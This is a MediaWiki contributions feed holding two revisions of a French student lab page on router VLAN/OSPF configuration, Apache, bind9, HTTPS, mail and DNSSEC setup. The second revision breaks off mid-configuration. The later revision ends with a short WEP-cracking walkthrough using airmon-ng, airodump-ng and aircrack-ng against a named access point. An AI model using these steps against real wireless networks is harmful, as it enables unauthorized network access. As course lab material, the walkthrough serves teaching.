<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Dfourny</id>
	<title>Wiki d&#039;activités IMA - Contributions de l’utilisateur [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Dfourny"/>
	<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Dfourny"/>
	<updated>2026-11-18T10:35:25Z</updated>
	<subtitle>Contributions de l’utilisateur</subtitle>
	<generator>MediaWiki 1.35.14</generator>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35587</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35587"/>
		<updated>2016-12-02T10:34:15Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
On en profite pour forcer l&amp;#039;utilisation de HTTPS:&lt;br /&gt;
&lt;br /&gt;
 $ vim /var/www/html/.htaccess&lt;br /&gt;
 &lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTPS} !on&lt;br /&gt;
 RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}&lt;br /&gt;
&lt;br /&gt;
 $ a2enmod rewrite&lt;br /&gt;
 $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
On génére le couple de clés KSK et ZSK:&lt;br /&gt;
 &lt;br /&gt;
 $ cd /etc/bind&lt;br /&gt;
 $ mkdir unic0rn.pw.dnssec ; cd unic0rn.pw.dnssec&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
&lt;br /&gt;
/dev/urandom n&amp;#039;est pas sécurisé comme générateur de chiffres aléatoires, il est préférable d&amp;#039;utiliser un générateur hardware.&lt;br /&gt;
&lt;br /&gt;
On ajoute les clés générées dans le fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/bind/unic0rn.pw&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-ksk.key&lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe ensuite le fichier de zone (cela va générer unic0rn.pw.signed):&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o unic0rn.pw -k unic0rn.pw-ksk ../unic0rn.pw unic0rn.pw-zsk&lt;br /&gt;
&lt;br /&gt;
Et on indique au serveur que l&amp;#039;on va utiliser dnssec:&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.options&lt;br /&gt;
 &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.local&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 $ service bind9 restart&lt;br /&gt;
&lt;br /&gt;
La fonctionnalité DNSSEC n&amp;#039;étant pas supporté sur les domaines .PW, notre implémentation s’arrêtera ici.&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35584</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35584"/>
		<updated>2016-12-02T09:07:49Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
